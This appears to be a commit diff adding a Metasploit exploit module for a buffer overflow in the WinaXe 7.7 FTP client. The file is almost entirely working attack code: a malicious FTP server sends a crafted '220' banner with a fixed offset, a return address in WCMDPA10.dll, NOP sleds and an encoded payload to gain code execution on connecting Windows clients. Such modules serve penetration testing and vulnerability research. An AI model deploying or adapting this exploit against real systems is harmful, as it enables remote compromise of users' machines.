|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = GoodRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::FtpServer |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow', |
| 14 | + 'Description' => %q{ |
| 15 | + This module exploits a buffer overflow in the WinaXe 7.7 FTP client. |
| 16 | + This issue is triggered when a client connects to the server and is |
| 17 | + expecting the Server Ready response. |
| 18 | + }, |
| 19 | + 'Author' => |
| 20 | + [ |
| 21 | + 'Chris Higgins', # msf Module -- @ch1gg1ns |
| 22 | + 'hyp3rlix' # Original discovery |
| 23 | + ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'EDB', '40693'], |
| 28 | + [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ] |
| 29 | + ], |
| 30 | + 'DefaultOptions' => |
| 31 | + { |
| 32 | + 'EXITFUNC' => 'thread' |
| 33 | + }, |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'Space' => 1000, |
| 37 | + 'BadChars' => "\x00\x0a\x0d" |
| 38 | + }, |
| 39 | + 'Platform' => 'win', |
| 40 | + 'Targets' => |
| 41 | + [ |
| 42 | + [ 'Windows Universal', |
| 43 | + { |
| 44 | + 'Offset' => 2065, |
| 45 | + 'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll |
| 46 | + } |
| 47 | + ] |
| 48 | + ], |
| 49 | + 'Privileged' => false, |
| 50 | + 'DisclosureDate' => 'Nov 03 2016', |
| 51 | + 'DefaultTarget' => 0)) |
| 52 | + end |
| 53 | + |
| 54 | + def on_client_unknown_command(c, _cmd, _arg) |
| 55 | + c.put("200 OK\r\n") |
| 56 | + end |
| 57 | + |
| 58 | + def on_client_connect(c) |
| 59 | + print_status("Client connected...") |
| 60 | + |
| 61 | + sploit = rand_text(target['Offset']) |
| 62 | + sploit << [target.ret].pack('V') |
| 63 | + sploit << make_nops(10) |
| 64 | + sploit << payload.encoded |
| 65 | + sploit << make_nops(20) |
| 66 | + |
| 67 | + c.put("220" + sploit + "\r\n") |
| 68 | + c.close |
| 69 | + end |
| 70 | + |
| 71 | +end |
0 commit comments